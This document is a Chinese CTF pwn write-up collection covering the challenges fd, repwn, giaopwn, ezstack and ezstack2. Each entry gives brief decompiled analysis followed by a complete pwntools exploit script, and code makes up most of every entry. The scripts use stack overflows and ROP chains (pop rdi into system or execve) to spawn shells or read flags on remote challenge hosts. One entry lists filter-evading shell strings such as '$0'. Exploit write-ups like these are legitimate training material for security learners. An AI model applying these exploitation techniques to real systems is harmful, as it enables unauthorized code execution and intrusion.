2024年8月训练题
fd
fd 全称为 file descripter ,又叫做文件描述符。它用一个非负整数表示,指向由系统内核维护的一个 file table 中的某个条目( entry ),后者又指向储存文件真实地址的 inode table。
操作系统会预留三个默认的fd :stdin stdout stderr,分别对应0,1,2。之后的fd都从3开始分配
检查保护,64位只开了代码执行保护
查看程序,无后门函数,查看主函数
v5 = 0;
puts("What is fd?");
fd = open("./flag", 0, 0LL); // fd从3开始
v3 = 16 * fd; // v3 = 16*3 = 48
LOBYTE(v3) = (16 * fd) | 0xDE; // v3最低有效字节= 48 | 0xDE
fd2 = v3;
dup2(fd, v3); // 将v3重定向到fd
close(fd);
puts("Can you read it?");
puts("Please input its fd: ");
__isoc99_scanf("%d", &v5); // 输入read的标识符
read(v5, buf, 0x50uLL); // 从标识符读取0x50的数据
puts(buf);
return 0;
也就是说只需要输入 v3 即可获取 flag。现在的难点是对于LOBYTE函数的模拟
在 C 语言中,LOBYTE 是用来获取 v3 变量的低字节的宏。在 Python 中,我们可以通过以下步骤实现:
- 将 fd 乘以 16
- 对结果进行按位或操作 | 0xDE
- 将这个结果的低字节保存到 v3 的低字节。
fd = 3
v3 = 16 * fd
result = (16 * fd) | 0xDE
new_v3 = (v3 & 0xFF00) | (result & 0xFF)
print(f'v3 = {new_v3}')
编写代码
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='36.152.17.4'
port=32832
file_name='fd'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
fd = 3
v3 = 16 * fd
result = (16 * fd) | 0xDE
new_v3 = (v3 & 0xFF00) | (result & 0xFF)
print(f'v3 = {new_v3}')
io.sendlineafter(b'fd:',str(result).encode())
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
repwn
检查保护,开了RELRO和代码执行保护
查看程序,无后门函数。首先需要分析makebinsh 函数内容
这里需要注意 v8[2] 是 v8[0] v8[1] ,v9 才是 v8[2],这里改一下变量名
strcpy(src, "/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); // 定义了 src 字符串
s = malloc(8uLL);
memset(s, 0, 8uLL); // 初始化 s 为0,动态分配的8字节内存空间(堆)
v0 = time(0LL);
srand(v0); // 将当前时间作为种子,初始化伪随机数生成器
puts("Input seven sigle numbers:");
for ( i = 0; i <= 6; ++i )
__isoc99_scanf("%d", &v8[i]); // 输入7个整数存入v8中
if ( v8[1] )
{
v1 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v1 / 2147483647.0))], 1uLL);
} // v8[1]非零时,根据随机数选择的字符从 src 字符串中追加到 s
else
{
strncat((char *)s, src, 1uLL);
} // v8[1]为零时,将 src 中的第一个字符('/')追加到 s 中
if ( num_6 == num_7 )
{
strncat((char *)s, &src[2], 1uLL);
} // num_6 等于 num_7 时,将 src 中的第3个字符('b')追加到 s 中
else
{
v2 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v2 / 2147483647.0))], 1uLL);
} // num_6 不等于 num_7 时,根据随机数选择的字符从 src 字符串中追加到 s中
strncat((char *)s, &src[9], 1uLL); // 将 src 中的第10个字符('i')追加到 s 中
if ( num_7 == num_3 - v8[0] )
{
strncat((char *)s, &src[14], 1uLL);
} // num_7 等于 num_3 - v8[0] 时,将 src 中的第15个字符('n')追加到 s 中
else
{
v3 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v3 / 2147483647.0))], 1uLL);
} // num_7 不等于 num_3 - v8[0] 时,根据随机数选择的字符从 src 字符串中追加到 s
if ( num_3 + v8[0] == num_4 )
{
strncat((char *)s, &src[num_7], 1uLL);
} // num_3 + v8[0] 等于 num_4 时,将 src 中的第[num_7]+1个字符(需要为/,则[num_7]应为0)追加到 s 中
else
{
v4 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v4 / 2147483647.0))], 1uLL);
} // num_3 + v8[0] 不等于 num_4 时,根据随机数选择的字符从 src 字符串中追加到 s
if ( num_3 * v8[0] == num_4 )
{
strncat((char *)s, &src[19], 1uLL);
} // num_3 * v8[0] 等于 num_4 时,将 src 中的第20个字符('s')追加到 s 中
else
{
v5 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v5 / 2147483647.0))], 1uLL);
} // num_3 * v8[0] 不等于 num_4 时,根据随机数选择的字符从 src 字符串中追加到 s
if ( 2 * num_4 + 1 == num_5 )
{
strncat((char *)s, &src[8], 1uLL);
} // 2 * num_4 + 1 等于 num_5 时,将 src 中的第9个字符('h')追加到 s 中
else
{
v6 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v6 / 2147483647.0))], 1uLL);
} // 2 * num_4 + 1 不等于 num_5 时,根据随机数选择的字符从 src 字符串中追加到 s
printf("Here's the string:%s\n", (const char *)s); // 输出字符串s
printf("The address is:%p\n", s); // 输出字符串s的地址
return 0LL;
综上所述,如果要构造出 /bin/sh,需要满足下列条件,通过z3库求解
s = Solver()
num_1 = Int('num_1')
num_2 = Int('num_2')
num_3 = Int('num_3')
num_4 = Int('num_4')
num_5 = Int('num_5')
num_6 = Int('num_6')
num_7 = Int('num_7')
s.add(num_2 == 0) # /
s.add(num_6 == num_7) # b
# i
s.add(num_7 == num_3 - num_1) # n
s.add(num_7 == 0)
s.add(num_3 + num_1 == num_4) # /
s.add(num_3 * num_1 == num_4) # s
s.add(2 * num_4 + 1 == num_5) # h
if s.check() == sat:
print(s.model())
得到答案
[num_1 = 2,
num_2 = 0,
num_3 = 2,
num_4 = 4,
num_5 = 9,
num_6 = 0,
num_7 = 0]
numbers = [2, 0, 2, 4, 9, 0, 0]
查看程序发现 action 函数中有 execve 可以执行 /bin/sh,先 pop rdi 再调用函数
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='36.152.17.4'
port=32833
file_name='repwn'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
numbers = [2, 0, 2, 4, 9, 0, 0]
io.recvuntil(b'Input seven sigle numbers:')
for i in range(7):
io.sendline(str(numbers[i]).encode())
print(numbers[i])
io.recvuntil(b'0x')
binsh_add=int(io.recv(8),16)
print(f'binsh_add: {hex(binsh_add)}')
pop_rdi = 0x00000000004016d0
execve_add = 0x0000000000401296
offset = 0x40
payload = b'a'*(offset+8) + p64(pop_rdi) + p64(binsh_add) + p64(execve_add)
io.sendlineafter(b'want?', payload)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
源鲁杯2024
giaopwn
检查保护,64位只开了代码执行保护
查看程序,有cat flag 和 system 在不同位置
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='gz.imxbt.cn'
port=20639
file_name='giaopwn'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
pop_rdi = 0x0000000000400743
cat_add = 0x0000000000601048
system_add = 0x00000000004006D2
offset = 0x20
payload = b'a'*(offset+8) + p64(pop_rdi) + p64(cat_add) +p64(system_add)
io.sendlineafter(b'YLCTF',payload)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
ezstack
检查保护,64位只开了代码执行保护
查看程序,发现后门函数,可以直接执行输入的指令,但是过滤了 's' 'h' 'c' 'f' 这几个字符,这里我们需要其他的提权指令
提权指令
bin/sh
bash
su
sh
$0
在stack函数中发现栈溢出的read,这里注意需要栈对齐
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='gz.imxbt.cn'
port=20642
file_name='ezstack'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
system_add = 0x000000000040127A
offset = 0x30
payload1 = b'a'*(offset+8) + p64(system_add)
io.sendlineafter(b'stack',payload1)
io.sendlineafter(b'command',b"$0")
if __name__=='__main__':
io=Start()
Exp()
io.sendline(b"cat flag")
io.interactive()
shortshell
参考 2024年10月训练题 shortshell
ezstack2
检查保护,64位只开了代码执行保护
查看程序,有后门函数,但对传入的参数有要求,依然调用pop_rdi,这里需要注意一下栈对齐
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='gz.imxbt.cn'
port=20642
file_name='ezstack2'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
pop_rdi = 0x0000000000400823
ret_add = 0x000000000040056e
system_add = 0x0000000000400757
offset = 0x30
payload = b'a'*(offset+8) + p64(pop_rdi) + p64(0x114514) + p64(ret_add) + p64(system_add)
io.sendlineafter(b'stack',payload)
if __name__=='__main__':
io=Start()
Exp()
io.sendline(b'ls')
io.sendline(b"cat flag")
io.interactive()